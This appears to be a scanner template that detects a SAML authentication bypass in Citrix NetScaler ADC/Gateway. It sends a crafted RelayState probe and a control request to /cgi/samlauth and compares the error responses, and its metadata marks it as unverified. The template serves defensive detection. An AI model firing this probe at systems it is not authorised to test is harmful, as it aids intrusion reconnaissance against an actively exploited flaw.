id: CVE-2026-19490

info:
  name: "Citrix NetScaler ADC/Gateway - SAML Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Citrix NetScaler ADC and NetScaler Gateway (ADC/Gateway 14.1 before 73.32 and 13.1 before 63.21), when a
    SAML Gateway or AAA virtual server is configured, mishandle RelayState/SAMLResponse processing in
    /cgi/samlauth, letting an unauthenticated attacker bypass authentication and reach post-login code
    ("created session for anonymous"). The flaw is actively exploited (CISA KEV). The template distinguishes a
    vulnerable build from a patched one differentially: a probe whose RelayState decodes to the 20-byte
    "ctx=" + NUL marker reaches the unguarded path and returns HTTP 500 with the NetScaler internal error
    43524, while an equal-length control RelayState is rejected earlier and returns HTTP 200 "Malformed
    Assertion". A patched appliance returns the 200 "Malformed Assertion" for the probe too, so only the
    differing pair confirms the bypass.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-19490&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=netscaler&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
    cvss-score: 9.3
    cve-id: CVE-2026-19490
    cwe-id: CWE-288
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2026,netscaler,citrix,saml,auth-bypass,kev
http:
  - raw:
      - |
        POST /cgi/samlauth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html

        SAMLResponse=AAAA&RelayState=Y3R4PQAAAAAAAAAAAAAAAAAAAAAAA%3D
      - |
        POST /cgi/samlauth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html

        SAMLResponse=AAAA&RelayState=Y3R4PUFBQUFBQUFBQUFBQUFBQUE%3D

    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 500'
          - 'contains(body_1, "43524")'
          - 'status_code_2 == 200'
          - 'contains(body_2, "Malformed Assertion")'
        condition: and